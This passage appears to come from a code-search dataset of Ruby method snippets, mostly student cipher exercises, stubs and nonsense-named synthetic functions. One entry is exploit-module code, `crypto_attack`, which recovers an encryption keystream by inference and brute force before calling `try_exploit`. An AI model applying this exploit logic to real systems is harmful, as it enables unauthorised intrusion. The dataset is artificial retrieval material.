thing.\n decoded_sentence.gsub!(/\\d+/) { |num| num.to_i / 100 } #He's been known to exaggerate...\n # Wherever there is portion of decoded sentence that is a number, take that number and then turn in into an integer and then put it back.\n end \n return decoded_sentence # What is this returning? its returning the decoded sentence. \nend","def einschalten() \n @schirm.farbe_aendern('gelb')\n @leuchtstrahl1.sichtbar_machen()\n @leuchtstrahl2.sichtbar_machen()\n @leuchtstrahl3.sichtbar_machen()\n @leuchtstrahl4.sichtbar_machen()\n @leuchtstrahl1.farbe_aendern('gelb')\n @leuchtstrahl2.farbe_aendern('gelb')\n @leuchtstrahl3.farbe_aendern('gelb')\n @leuchtstrahl4.farbe_aendern('gelb')\n end","def caesar_ciphar(string, k)\n result = ''\n string.each_char do |char|\n # Character is capital\n if char.ord <= 'Z'.ord && char.ord >= 'A'.ord\n encrypt = char.ord + (k % 26)\n if encrypt > 'Z'.ord\n result += ('A'.ord + (encrypt - 'Z'.ord) - 1).chr\n else\n result += encrypt.chr\n end\n # Character is small\n elsif char.ord <= 'z'.ord && char.ord >= 'a'.ord\n encrypt = char.ord + (k % 26)\n if encrypt > 'z'.ord\n result += ('a'.ord + (encrypt - 'z'.ord) - 1).chr\n else\n result += encrypt.chr\n end\n else\n result += char\n end\n end\n return result\nend","def friendly_secret\n self.class.friendly_secret(length)\n end","def sentence(word_count: T.unsafe(nil), supplemental: T.unsafe(nil), random_words_to_add: T.unsafe(nil), open_compounds_allowed: T.unsafe(nil)); end","def pectoralis_stretch\n \"Clasp hands behind your back. Push the chest outward, and raise the chin. Hold the pose for 10 to 30 seconds.\"\nend","def take_bath\n #increment hygiene_points by 4\n #return string \"♪ Rub-a-dub just relaxing in the tub ♫\"..\n self.hygiene +=4\n return \"♪ Rub-a-dub just relaxing in the tub ♫\"\n end","def mutate_ugcid(_)\n (ALPHABET.sample(6) + DIGITS.sample(4)).join\n end"],"string":"[\n \"def difficultly(qoph_ridding, fadedness_santalaceae)\\n biopsychologist_hamidian_tachardiinae()\\n inigo()\\n huddock_konde(phrenitic, mistake, condurango_cymoscope)\\n end\",\n \"def preprovide_saily_kainsi(akamatsu_demoniacally)\\n gibbergunyah_nutcrack(mollycot_copolymerization, capitulator_polyphylogeny, overjob)\\n lid_polytonalism(pneumoenteritis_ribby)\\n pricklefish(overdraft, phleboplasty_poleaxe)\\n end\",\n \"def can_tweak_sign?(normal_sign, vandalized_sign)\\n normal_sign_hsh = Hash.new(0)\\n van_sign_arr = vandalized_sign.split(\\\"\\\")\\n normal_sign.each_char do |char| \\n normal_sign_hsh[char.downcase] += 1\\n end\\n\\n van_sign_arr.all? do |char| \\n normal_sign_hsh.include?(char.downcase)\\n end\\nend\",\n \"def bijective_encode\\n \\t# from http://refactormycode.com/codes/124-base-62-encoding\\n \\t# with only minor modification\\n \\t# return ALPHABET[0] if i == 0\\n \\t# s = ''\\n \\t# base = ALPHABET.length\\n \\t# while i > 0\\n \\t# \\ts << ALPHABET[i.modulo(base)]\\n \\t# \\ti /= base\\n \\t# end\\n \\t# s.reverse + SecureRandom.hex(5 - s.length)\\n \\tSecureRandom.hex(4)\\n end\",\n \"def silly_adjective; end\",\n \"def salt() 'monkeynutzzSfaKT7CwImCHCH8Ow' end\",\n \"def throw_fierce_lqqks\\n 'Here I am, giving you Soviet-Satellite realness'\\n end\",\n \"def obfuscate(text); end\",\n \"def sittinae_hooey(scrawny_appulsion, termly)\\n end\",\n \"def take_bath\\n self.hygiene += 4\\n return \\\"♪ Rub-a-dub just relaxing in the tub ♫\\\"\\n end\",\n \"def take_bath\\n self.hygiene += 4\\n return \\\"♪ Rub-a-dub just relaxing in the tub ♫\\\"\\n end\",\n \"def take_bath\\n self.hygiene += 4\\n return \\\"♪ Rub-a-dub just relaxing in the tub ♫\\\"\\n @hygiene\\n end\",\n \"def crypto_attack(exploit_string)\\r\\n getsin_msg = fetch_getsin\\r\\n if getsin_msg.nil?\\r\\n return nil\\r\\n end\\r\\n\\r\\n getsin_kp = 'GetSIN' + datastore['LHOST'] + '|'\\r\\n keystream = get_keystream(getsin_msg, getsin_kp)\\r\\n\\r\\n if keystream.length < exploit_string.length\\r\\n missing_bytecount = exploit_string.length - keystream.length\\r\\n\\r\\n print_status(\\\"Missing #{missing_bytecount} bytes of keystream ...\\\")\\r\\n\\r\\n inferrence_segment = ''\\r\\n brute_max = 4\\r\\n\\r\\n if missing_bytecount > brute_max\\r\\n print_status(\\\"Using inferrence attack ...\\\")\\r\\n\\r\\n # Offsets to monitor for changes\\r\\n target_offset_range = []\\r\\n for i in (keystream.length + brute_max)..(keystream.length + missing_bytecount - 1)\\r\\n target_offset_range << i\\r\\n end\\r\\n\\r\\n # Store inference results\\r\\n inference_results = {}\\r\\n\\r\\n # As long as we haven't fully recovered all offsets through inference\\r\\n # We keep our observation window in a circular buffer with 4 slots with the buffer running between [head, tail]\\r\\n getsin_observation = [''] * 4\\r\\n buffer_head = 0\\r\\n\\r\\n for i in 0..2\\r\\n getsin_observation[i] = [fetch_getsin].pack('H*')\\r\\n Rex.sleep(0.5)\\r\\n end\\r\\n\\r\\n buffer_tail = 3\\r\\n\\r\\n # Actual inference attack happens here\\r\\n while !target_offset_range.empty?\\r\\n getsin_observation[buffer_tail] = [fetch_getsin].pack('H*')\\r\\n Rex.sleep(0.5)\\r\\n\\r\\n # We check if we spot a change within a position between two consecutive items within our circular buffer\\r\\n # (assuming preceding entries are static in that position) we observed a 'carry', ie. our observed position went from 9 to 0\\r\\n target_offset_range.each do |x|\\r\\n index = buffer_head\\r\\n\\r\\n while index != buffer_tail do\\r\\n next_index = (index + 1) % 4\\r\\n\\r\\n # The condition we impose is that observed character x has to differ between two observations and the character left of it has to differ in those same\\r\\n # observations as well while being constant in at least one previous or subsequent observation\\r\\n if (getsin_observation[index][x] != getsin_observation[next_index][x]) && (getsin_observation[index][x - 1] != getsin_observation[next_index][x - 1]) && ((getsin_observation[(index - 1) % 4][x - 1] == getsin_observation[index][x - 1]) || (getsin_observation[next_index][x - 1] == getsin_observation[(next_index + 1) % 4][x - 1]))\\r\\n target_offset_range.delete(x)\\r\\n inference_results[x] = xor_strings(getsin_observation[index][x], '9')\\r\\n break\\r\\n end\\r\\n index = next_index\\r\\n end\\r\\n end\\r\\n\\r\\n # Update circular buffer head & tail\\r\\n buffer_tail = (buffer_tail + 1) % 4\\r\\n # Move head to right once tail wraps around, discarding oldest item in circular buffer\\r\\n if buffer_tail == buffer_head\\r\\n buffer_head = (buffer_head + 1) % 4\\r\\n end\\r\\n end\\r\\n\\r\\n # Inferrence attack done, reconstruct final keystream segment\\r\\n inf_seg = [\\\"\\\\x00\\\"] * (keystream.length + missing_bytecount)\\r\\n inferrence_results.each do |x, val|\\r\\n inf_seg[x] = val\\r\\n end\\r\\n\\r\\n inferrence_segment = inf_seg.slice(keystream.length + brute_max, inf_seg.length).join\\r\\n missing_bytecount = brute_max\\r\\n end\\r\\n\\r\\n if missing_bytecount > brute_max\\r\\n print_status(\\\"Improper keystream recovery ...\\\")\\r\\n return nil\\r\\n end\\r\\n\\r\\n print_status(\\\"Initiating brute force ...\\\")\\r\\n\\r\\n # Bruteforce first missing_bytecount bytes of timestamp (maximum of brute_max)\\r\\n charset = ['1', '2', '3', '4', '5', '6', '7', '8', '9', '0']\\r\\n char_range = missing_bytecount.times.map { charset }\\r\\n char_range.first.product(*char_range[1..-1]) do |x|\\r\\n p = x.join\\r\\n candidate_plaintext = getsin_kp + p\\r\\n candidate_keystream = get_keystream(getsin_msg, candidate_plaintext) + inferrence_segment\\r\\n filedata = try_exploit(exploit_string, candidate_keystream, true)\\r\\n\\r\\n if !filedata.nil?\\r\\n return filedata\\r\\n end\\r\\n end\\r\\n return nil\\r\\n end\\r\\n\\r\\n try_exploit(exploit_string, keystream, false)\\r\\n end\",\n \"def extracosmic_expansive_onstand(lymphatolysis_fissure, french, whauve_diapophysial)\\n unsuckled_catsup(apterygota, unfightable_phoneticist)\\n end\",\n \"def gluck_italian; end\",\n \"def king_richard_iii_quote; end\",\n \"def wookie_sentence; end\",\n \"def nonstriker_perimartium(pronunciation_crotched)\\n end\",\n \"def generate_checkincode\\n sai_words = %w(sisters chapter formal music business sigma alpha iota)\\n sai_words[rand(sai_words.length)]+(rand(89)+10).to_s()\\n end\",\n \"def broad_sword\\n # use regexp since .. is used for wildcard\\n Regexp.new s_to_h(<<-S)\\n B1 96 B1 D3 ED AE 5F 92 F4 65 03 01 .. FF FF FF\\n FF .. .. .. .. 23 19 01 0B 00 00 00 00 08 00 00\\n 00 2A 00 00 00 00 00 00 00 02 00 00 00 00 00 00\\n 00 02 00 00 00 02 00 00 00 99 32 C5 C4 CC 57 6D\\n 43 87 6B 03 01 FF FF FF FF 99 32 C5 C4 CC 57 6D\\n 43 27 9E 00 01 FF FF FF FF 01 00 00 00 99 32 C5\\n C4 CC 57 6D 43 27 9E 00 01 FF FF FF FF 13 00 00\\n 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\\n 00 00 00 00 00 00 00 00 00 06 00 00 00 00 00 00\\n 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\\n 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\\n 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00\\n 00\\n S\\nend\",\n \"def war_sword # todo: check this matches when 5 are bought\\n Regexp.new s_to_h(<<-S)\\n B1 96 B1 D3 ED AE 5F 92 02 66 03 01 .. FF FF FF\\n FF .. .. .. .. 31 19 01 0B 01 00 00 00 10 00 00\\n 00 4E 00 00 00 00 00 00 00 01 00 00 00 00 00 00\\n 00 02 00 00 00 02 00 00 00 99 32 C5 C4 CC 57 6D\\n 43 9F 6B 03 01 FF FF FF FF 99 32 C5 C4 CC 57 6D\\n 43 27 9E 00 01 FF FF FF FF 01 00 00 00 99 32 C5\\n C4 CC 57 6D 43 27 9E 00 01 FF FF FF FF 13 00 00\\n 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\\n 00 41 00 00 00 00 00 00 00 00 00 00 00 00 00 00\\n 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\\n 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\\n 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00\\n 00\\n S\\nend\",\n \"def sanitize text\\n SANITIZE_THIS.each { |s| text = text.gsub(/#{s}/,'') }\\n\\n #római számok kiegészítés\\n text = text.gsub(/\\\\W*(#{ROMAISZAMOK.keys.join('|')})\\\\.\\\\W*(\\\\w+)/) do \\n ROMAISZAMOK[$1] ? ( ROMAISZAMOK[$1] + ' ' + $2 ) : $&\\n end\\n \\n #századok\\n text = text.gsub(/(\\\\W*)(#{(1..21).to_a.join('|')})\\\\.\\\\W+század/) do\\n $1 + ROMAISZAMOK.values[($2.to_i - 1)]+' század'\\n end\\n\\n #törtek ( itt mind , mind . után jön egy számsorozat\\n text = text.gsub(/(\\\\d+)[,.](\\\\d+)/) { $1 + ' egész,' + $2 + ' ' }\\n\\n #külön írt számok, ha az első nem csatlakozik karakterhez, mint bolygónevek pl M4079 448 km/sec\\n # és a második 3 karakter, hogy táblázatban lévő évszámokat pl ne vonjon össze\\n text = text.gsub(/(\\\\W\\\\d+)\\\\s(\\\\d{3})/) { $1 + $2 }\\n\\n #idegesített az isbn\\n text = text.gsub(/(ISBN)\\\\s*([0-9\\\\-]+)$/i) { 'iesbéen ' + $2.split('').join(' ') }\\n\\n # ie isz kr e kr u\\n text = text.gsub(/(i\\\\.{0,1}\\\\s{0,1}sz\\\\.{0,1})\\\\s{0,1}(\\\\d)/i){ ' időszámításunk szerint ' + $2 }\\n text = text.gsub(/([kK]r\\\\.{0,1}\\\\s{0,1}sz\\\\.{0,1})\\\\s{0,1}(\\\\d)/){ ' Krisztus szerint ' + $2 }\\n text = text.gsub(/([kK]r\\\\.{0,1}\\\\s{0,1}u\\\\.{0,1})\\\\s{0,1}(\\\\d)/){ ' Krisztus után ' + $2 }\\n text = text.gsub(/(i\\\\.{0,1}\\\\s{0,1}e\\\\.{0,1})\\\\s{0,1}(\\\\d)/){ ' időszámításunk előtt ' + $2 }\\n text = text.gsub(/([kK]r\\\\.{0,1}\\\\s{0,1}e\\\\.{0,1})\\\\s{0,1}(\\\\d)/){ ' Krisztus előtt ' + $2 }\\n\\n # kis mértékegység hekk\\n text = text.gsub(/\\\\Wkm\\\\/h\\\\W/,' km per óra ')\\n text = text.gsub(/\\\\WkW\\\\W/,' kilo watt ')\\n text = text.gsub(/\\\\Wkg\\\\W/i,' kilo gramm ')\\n text = text.gsub(/(\\\\d+)\\\\W+m\\\\W/) { $1 + ' méter '}\\n text = text.gsub(/°/,' fok')\\n text = text.gsub(/[&]i/,' és ')\\n # négyzet - sokszor előfordul földrajzban\\n text = text.gsub(/km\\\\W{0,1}²/i){ ' négyzet km ' }\\n # négyzet - matekban változó után jön. :/, mértékegységeknél előtte, mértékegységeket ki kéne szedni tömbbe\\n text = text.gsub(/²/){ ' négyzet ' }\\n text = text.gsub(/\\\\+\\\\/\\\\-/,' plussz minusz ')\\n text = text.gsub(/×/,' szor ')\\n\\n # deokosvagyok rövidítésekbű\\n text = text.gsub(/\\\\sstb\\\\.\\\\s/i, ' satöbbi ')\\n text = text.gsub(/\\\\sun\\\\.\\\\s/i, ' úgy nevezett ')\\n text\\nend\",\n \"def sharp; accidental; end\",\n \"def biomagnetism_doughface_sissiness(avignonese_antrorsely)\\n end\",\n \"def nutritionally(unaffirmed_excisor, undubbed_palindromic)\\n hatful_radsimir(dumbfounder, kaka_propheticly)\\n end\",\n \"def mermithization_unstrictured_hersed()\\n technonomy(wrangler)\\n sock_reassociate_supratemporal(jacket_gloomingly, metrometer, urtica_siegecraft)\\n end\",\n \"def king_richard_iii; end\",\n \"def can_tweak_sign?(normal_sign, vandalized_sign)\\n no_prank = character_count(normal_sign)\\n vandalized = character_count(vandalized_sign)\\n\\n vandalized.all? do |letter, count|\\n no_prank[letter.downcase] >= count\\n end\\nend\",\n \"def dr_evils_cipher(coded_message)\\n input = coded_message.downcase.split(\\\"\\\") # Check out this method in IRB to see how it works! Also refer to the Ruby docs.\\n decoded_sentence = []\\n cipher = {\\\"e\\\" => \\\"a\\\", # This is technically a shift of four letters...Can you think of a way to automate this? Is a hash\\n \\\"f\\\" => \\\"b\\\", # the best data structure for this problem? What are the pros and cons of hashes?\\n \\\"g\\\" => \\\"c\\\",\\n \\\"h\\\" => \\\"d\\\",\\n \\\"i\\\" => \\\"e\\\",\\n \\\"j\\\" => \\\"f\\\",\\n \\\"k\\\" => \\\"g\\\",\\n \\\"l\\\" => \\\"h\\\",\\n \\\"m\\\" => \\\"i\\\",\\n \\\"n\\\" => \\\"j\\\",\\n \\\"o\\\" => \\\"k\\\",\\n \\\"p\\\" => \\\"l\\\",\\n \\\"q\\\" => \\\"m\\\",\\n \\\"r\\\" => \\\"n\\\",\\n \\\"s\\\" => \\\"o\\\",\\n \\\"t\\\" => \\\"p\\\",\\n \\\"u\\\" => \\\"q\\\",\\n \\\"v\\\" => \\\"r\\\",\\n \\\"w\\\" => \\\"s\\\",\\n \\\"x\\\" => \\\"t\\\",\\n \\\"y\\\" => \\\"u\\\",\\n \\\"z\\\" => \\\"v\\\",\\n \\\"a\\\" => \\\"w\\\",\\n \\\"b\\\" => \\\"x\\\",\\n \\\"c\\\" => \\\"y\\\",\\n \\\"d\\\" => \\\"z\\\"}\\n\\n input.each do |x| # What is #each doing here?\\n found_match = false # Why would this be assigned to false from the outset? What happens when it's true?\\n cipher.each_key do |y| # What is #each_key doing here?\\n if x == y # What is this comparing? Where is it getting x? Where is it getting y? What are those variables really?\\n decoded_sentence << cipher[y]\\n found_match = true\\n break # Why is it breaking here?\\n elsif x == \\\"@\\\" || x == \\\"#\\\" || x == \\\"$\\\" || x == \\\"%\\\"|| x == \\\"^\\\" || x == \\\"&\\\"|| x ==\\\"*\\\" #What the heck is this doing?\\n decoded_sentence << \\\" \\\"\\n found_match = true\\n break\\n elsif (0..9).to_a.include?(x) # Try this out in IRB. What does \\\" (0..9).to_a \\\" do?\\n decoded_sentence << x\\n found_match = true\\n break\\n end\\n end\\n if not found_match # What is this looking for?\\n decoded_sentence << x\\n end\\n end\\n decoded_sentence = decoded_sentence.join(\\\"\\\")\\n #What is this method returning?\\nend\",\n \"def make_syllable\\n structure = self.structure.chars\\n\\n while true\\n syll = ''\\n structure.each do |ptype|\\n # If the char is '?', skip with 50% chance to remove last character\\n # (think RegEx usage of '?')\\n if ptype == '?'\\n if rand < 0.5\\n syll = syll[0...syll.length - 1]\\n end\\n next\\n end\\n\\n syll << choose(self.phonemes[ptype], self.exponent)\\n end\\n\\n # Make sure this syllable doesn't violate a restriction\\n bad = false\\n self.restricts.each do |regex|\\n if /#{regex}/ =~ syll\\n bad = true\\n break\\n end\\n end\\n next if bad\\n\\n return spell(syll)\\n end\\n end\",\n \"def sp\\n\\t\\t# --Stallция Preφιcς--\\n\\t\\ts = ['S', 'Z', 'C', 'S']\\n\\t\\tt = ['t', 'zt', 'ct', 'st']\\n\\t\\ta = ['a', 'å', 'ä', 'ą']\\n\\t\\tl = ['l', 'll', 'л', 'лл', 'lъ', 'llъ', 'лъ', 'ллъ',]\\n\\t\\tc = ['c', 'z', 's', 'c', 'z', 'ц']\\n\\t\\ti = ['i', '', 'и']\\n\\t\\tja = ['a', 'ja', 'ya', 'ia', 'иa','я', 'ѧ']\\n\\t\\tpp = ['P', 'П', 'Ψ', 'Ξ']\\n\\t\\tr = ['r', 'р']\\n\\t\\te = ['e', 'ϵ', 'ε']\\n\\t\\tfi = ['f', 'ff', 'ф', 'φ', 'ѳ', 'þ', 'ξ']\\n\\t\\tjota = ['i', 'и', 'ι', 'ї', 'ј']\\n\\t\\tis = ['s', 'z', 'c', 'σ', 'ς',\\n\\t\\t\\t\\t'ss', 'sz', 'sσ', 'sς', 'zs', 'cs', 'σs',\\n\\t\\t\\t\\t'zz', 'zc', 'zσ', 'zς', 'cz', 'σz',\\n\\t\\t\\t\\t'cc', 'cσ', 'cς', 'sc', 'σc',\\n\\t\\t\\t\\t'σσ', 'σς', 'ςς',\\n\\t\\t\\t\\t'ssz', 'ssσ', 'ssς', 'zss', 'css', 'σss',\\n\\t\\t\\t\\t'scz']\\n\\t\\tsparray = [s, t, a, l, c, i, ja, [\\\"\\\\n\\\"], pp, r, e, fi, jota, is]\\n\\t\\tcilibles = []\\n\\t\\tfor i in sparray\\n\\t\\t\\tcilibles.push(i[rand(i.length)])\\n\\t\\tend\\n\\t\\t@spreffis = cilibles.join\\n\\t\\t@spinitial = cilibles[0] + cilibles[8]\\n\\tend\",\n \"def north_korean_cipher(coded_message)\\n input = coded_message.downcase.split(\\\"\\\") # Turning every letter into a lower case letter and then splitting it into array\\n decoded_sentence = []\\n cipher = {\\\"e\\\" => \\\"a\\\", # This is technically a shift of four letters...Can you think of a way to automate this? Is a hash\\n \\\"f\\\" => \\\"b\\\", # the best data structure for this problem? What are the pros and cons of hashes?\\n \\\"g\\\" => \\\"c\\\", # An array would be beeter structure, we can automate the shiffting of the letters\\n \\\"h\\\" => \\\"d\\\",\\n \\\"i\\\" => \\\"e\\\",\\n \\\"j\\\" => \\\"f\\\",\\n \\\"k\\\" => \\\"g\\\",\\n \\\"l\\\" => \\\"h\\\",\\n \\\"m\\\" => \\\"i\\\",\\n \\\"n\\\" => \\\"j\\\",\\n \\\"o\\\" => \\\"k\\\",\\n \\\"p\\\" => \\\"l\\\",\\n \\\"q\\\" => \\\"m\\\",\\n \\\"r\\\" => \\\"n\\\",\\n \\\"s\\\" => \\\"o\\\",\\n \\\"t\\\" => \\\"p\\\",\\n \\\"u\\\" => \\\"q\\\",\\n \\\"v\\\" => \\\"r\\\",\\n \\\"w\\\" => \\\"s\\\",\\n \\\"x\\\" => \\\"t\\\",\\n \\\"y\\\" => \\\"u\\\",\\n \\\"z\\\" => \\\"v\\\",\\n \\\"a\\\" => \\\"w\\\",\\n \\\"b\\\" => \\\"x\\\",\\n \\\"c\\\" => \\\"y\\\",\\n \\\"d\\\" => \\\"z\\\"}\\n\\n input.each do |x| # iterating over each input character\\n found_match = false #when false the same character will be added to the solution\\n cipher.each_key do |y| # iterating thruthe keys of cipher hash\\n if x == y #if current character is equal to a hash key\\n # puts \\\"I am comparing x and y. X is #{x} and Y is #{y}.\\\"\\n decoded_sentence << cipher[y]\\n found_match = true\\n break #it will end the loop once it finds its match\\n elsif x == \\\"@\\\" || x == \\\"#\\\" || x == \\\"$\\\" || x == \\\"%\\\"|| x == \\\"^\\\" || x == \\\"&\\\"|| x ==\\\"*\\\" #If it matach one of these characters it will add a space\\n decoded_sentence << \\\" \\\"\\n found_match = true\\n break\\n elsif (0..9).to_a.include?(x) # turns a range into an array and then checks if that array includes the input\\n decoded_sentence << x\\n found_match = true\\n break\\n end\\n end\\n if not found_match #If there is no match then add the character to the solution\\n decoded_sentence << x\\n end\\n end\\n decoded_sentence = decoded_sentence.join(\\\"\\\")\\n\\n if decoded_sentence.match(/\\\\d+/) #Finding all the didgits\\n decoded_sentence.gsub!(/\\\\d+/) { |num| num.to_i / 100 } #Replace and divide by 100\\n end\\n return decoded_sentence # it sreturning the string\\nend\",\n \"def can_tweak_sign?(normal_sign, vandalized_sign)\\n normal_hash = character_count(normal_sign)\\n vandal_hash = character_count(vandalized_sign)\\n vandal_hash.each do |k, v|\\n return false if normal_hash[k] < v\\n end\\n true\\nend\",\n \"def can_tweak_sign?(normal_sign, vandalized_sign)\\nend\",\n \"def dr_evils_cipher(coded_message)\\n code = coded_message.downcase.split(/[@#$%&*]/)\\n decoded_string = []\\n cipher = (\\\"a\\\"..\\\"z\\\").to_a\\n \\n code.each do |word|\\n decoded_word = \\\"\\\"\\n word.split(//).each do |letter|\\n if cipher.include?(letter)\\n index = cipher.index(letter) - 4\\n decoded_letter = cipher[index]\\n decoded_word << decoded_letter\\n else\\n decoded_word << letter\\n end\\n end\\n decoded_string << decoded_word\\n end\\n decoded_string.join(\\\" \\\")\\nend\",\n \"def whisper_family_secret\\n puts \\\"shhh!\\\"\\n end\",\n \"def whisper_family_secret\\n puts \\\"shhh!\\\"\\n end\",\n \"def can_tweak_sign?(normal_sign, vandalized_sign)\\n str = normal_sign.delete \\\",.!?';\\\".downcase\\n letters = character_count(str)\\n vandalized_sign.each_char do |char|\\n char = char.downcase\\n return false if letters[char].nil? || letters[char].zero?\\n\\n letters[char] -= 1\\n end\\n true\\nend\",\n \"def catch_phrase\\n [\\n [\\\"Фирма1\\\", \\\"Суперфирма\\\", \\\"Фирма3\\\", \\\"ПанСамСклепав\\\"].rand,\\n [\\\"24 часа\\\", \\\"24/7\\\", \\\"круглосуточно\\\", \\\"3 года на рынке\\\"].rand,\\n [\\\"доступно\\\", \\\"быстро\\\", \\\"надежно\\\"].rand\\n ].join(' ')\\n end\",\n \"def enchantment; end\",\n \"def challenge; end\",\n \"def smile\\n\\n oper = @message.split(\\\" \\\")[0]\\n val1 = @message.split(\\\" \\\")[1].to_i\\n val2 = @message.split(\\\" \\\")[2].to_i\\n\\n eyes = [\\\"O\\\",\\\"o\\\",\\\"^\\\",\\\"*\\\" ]\\n mouths = [\\\"_\\\",\\\"__\\\",\\\".\\\" ]\\n\\n symmetry = rand(1) > 0\\n\\n lefteye = eyes.shuffle[0]\\n righteye = lefteye\\n if( !symmetry )\\n righteye = eyes.shuffle[0]\\n end\\n\\n text = lefteye + mouths.shuffle[0] + righteye\\n\\n return text\\n\\n end\",\n \"def wookiee_sentence; end\",\n \"def cryptic_dictionary(words)\\nend\",\n \"def can_tweak_sign?(normal_sign, vandalized_sign)\\n dist_normal_sign = character_count(normal_sign)\\n dist_vandalized_sign = character_count(vandalized_sign)\\n dist_vandalized_sign.all?{ |ch, freq| freq <= dist_normal_sign[ch] }\\nend\",\n \"def basellaceae(unconsented_neomodal, goclenian_cytozoon, musseled)\\n indefensibly_tencteri(scourwort)\\n bambini_wolfishly(trolleyful_unimproving)\\n unbenumbed(inappropriable_platycephalous, epitasis_ergatandromorph)\\n end\",\n \"def north_korean_cipher(coded_message)\\n\\tinput = coded_message.downcase.split(\\\"\\\") # Check out this method in IRB to see how it works! Also refer to the ruby docs.\\n\\tdecoded_sentence = []\\n\\tcipher = {\\\"e\\\" => \\\"a\\\", # This is technically a shift of four letters...Can you think of a way to automate this? Is a hash\\n\\t\\t\\t\\t\\t\\t\\\"f\\\" => \\\"b\\\", # the best data structure for this problem? What are the pros and cons of hashes?\\n\\t\\t\\t\\t\\t\\t\\\"g\\\" => \\\"c\\\", \\n\\t\\t\\t\\t\\t\\t\\\"h\\\" => \\\"d\\\", \\n\\t\\t\\t\\t\\t\\t\\\"i\\\" => \\\"e\\\", \\n\\t\\t\\t\\t\\t\\t\\\"j\\\" => \\\"f\\\",\\n\\t\\t\\t\\t\\t\\t\\\"k\\\" => \\\"g\\\",\\n\\t\\t\\t\\t\\t\\t\\\"l\\\" => \\\"h\\\",\\n\\t\\t\\t\\t\\t\\t\\\"m\\\" => \\\"i\\\",\\n\\t\\t\\t\\t\\t\\t\\\"n\\\" => \\\"j\\\",\\n\\t\\t\\t\\t\\t\\t\\\"o\\\" => \\\"k\\\",\\n\\t\\t\\t\\t\\t\\t\\\"p\\\" => \\\"l\\\",\\n\\t\\t\\t\\t\\t\\t\\\"q\\\" => \\\"m\\\",\\n\\t\\t\\t\\t\\t\\t\\\"r\\\" => \\\"n\\\",\\n\\t\\t\\t\\t\\t\\t\\\"s\\\" => \\\"o\\\",\\n\\t\\t\\t\\t\\t\\t\\\"t\\\" => \\\"p\\\",\\n\\t\\t\\t\\t\\t\\t\\\"u\\\" => \\\"q\\\",\\n\\t\\t\\t\\t\\t\\t\\\"v\\\" => \\\"r\\\",\\n\\t\\t\\t\\t\\t\\t\\\"w\\\" => \\\"s\\\",\\n\\t\\t\\t\\t\\t\\t\\\"x\\\" => \\\"t\\\",\\n\\t\\t\\t\\t\\t\\t\\\"y\\\" => \\\"u\\\",\\n\\t\\t\\t\\t\\t\\t\\\"z\\\" => \\\"v\\\",\\n\\t\\t\\t\\t\\t\\t\\\"a\\\" => \\\"w\\\",\\n\\t\\t\\t\\t\\t\\t\\\"b\\\" => \\\"x\\\",\\n\\t\\t\\t\\t\\t\\t\\\"c\\\" => \\\"y\\\",\\n\\t\\t\\t\\t\\t\\t\\\"d\\\" => \\\"z\\\"}\\n\\t\\n# This is technically a shift of four letters...Can you think of a way to automate this? Is a hash\\n# the best data structure for this problem? What are the pros and cons of hashes?\\n# \\n# We automated this task with our own method that shifts letters automatically. It even allows you to\\n# specify the amount the letters need to be shifted. This will output our needed hash, without having to\\n# manually write every key/value pair.\\n\\n\\tinput.each do |x| # iterate through each letter in the coded message (input is an array of all letters in order)\\n\\t\\tfound_match = false # If found_match is set to true, the block code \\\"if not found_match\\\" will NEVER be executed\\n\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t # so the unmapped letter will not be added back to the decoded message\\n\\t\\tcipher.each_key do |y| # iterate through each key in the hash table\\n\\t\\t\\tif x == y # compare the current letter in the coded message to the key in the hash table. If they are equals,\\n\\t\\t\\t\\t\\t\\t\\t\\t # meaning the decoded letter is found, add the mapped value to the decoded message\\n\\t\\t\\t\\tputs \\\"I am comparing x and y. X is #{x} and Y is #{y}.\\\"\\n\\t\\t\\t\\tdecoded_sentence << cipher[y]\\n\\t\\t\\t\\tfound_match = true\\n\\t\\t\\t\\tbreak # Once the decoded letter is found, break out of the loop and go for the next letter in the input message\\n\\t\\t\\telsif x == \\\"@\\\" || x == \\\"#\\\" || x == \\\"$\\\" || x == \\\"%\\\"|| x == \\\"^\\\" || x == \\\"&\\\"|| x ==\\\"*\\\" # If any of these symbols is\\n\\t\\t\\t\\t# found in the coded message, it is equivalent to a space. These are all OR statements, so if any are found to\\n\\t\\t\\t\\t# be true, it will run the block of code.\\n\\t\\t\\t\\tdecoded_sentence << \\\" \\\"\\n\\t\\t\\t\\tfound_match = true\\n\\t\\t\\t\\tbreak\\n\\t\\t\\telsif (0..9).to_a.include?(x) # This puts all the numbers from 0 to 9 into an array and check if that array contains x\\n\\t\\t\\t\\tdecoded_sentence << x\\n\\t\\t\\t\\tfound_match = true\\n\\t\\t\\t\\tbreak\\n\\t\\t\\tend \\n\\t\\tend\\n\\t\\tif not found_match # If some character not covered by any of the if statments is found in the coded message\\n\\t\\t# that character is put into the decoded message\\n\\t\\t\\tdecoded_sentence << x\\n\\t\\tend\\n\\tend\\n\\tdecoded_sentence = decoded_sentence.join(\\\"\\\")\\n \\n\\tif decoded_sentence.match(/\\\\d+/) #Checks the decoded message for any numbers \\n\\t\\tdecoded_sentence.gsub!(/\\\\d+/) { |num| num.to_i / 100 } # Replaces those numbers with a number divided by 100, because\\n\\t\\t# he has been known to exaggerate about the amount of stuff he has\\n\\tend \\n\\treturn decoded_sentence # return the decoded message \\nend\",\n \"def gensecretword\\r\\n\\t\\t \\trand_index = rand(@wordtable.length)\\r\\n\\t\\t \\t@secret_clue = @descr[rand_index]\\r\\n\\t\\t \\t@num_words = @wordtable[rand_index].split(\\\" \\\").length\\r\\n\\t\\t return @wordtable[rand_index].upcase\\r\\n\\t\\t end\",\n \"def scoobydoo(villian, villians)\\n letters = ('a'..'z').to_a\\n numbers = (0..25).to_a\\n letters_to_numbers = letters.zip(numbers).to_h\\n numbers_to_letters = numbers.zip(letters).to_h\\n\\n villians_downcase = villians.map { |v| v.downcase.delete(' ') }\\n villians_hash = (villians_downcase).zip(villians).to_h\\n\\n s = villian.reverse.chars.rotate(5)\\n new = []\\n (0...s.size).each do |i|\\n if i.even?\\n new[i] = s[i]\\n else\\n num = (letters_to_numbers.fetch(s[i]) + 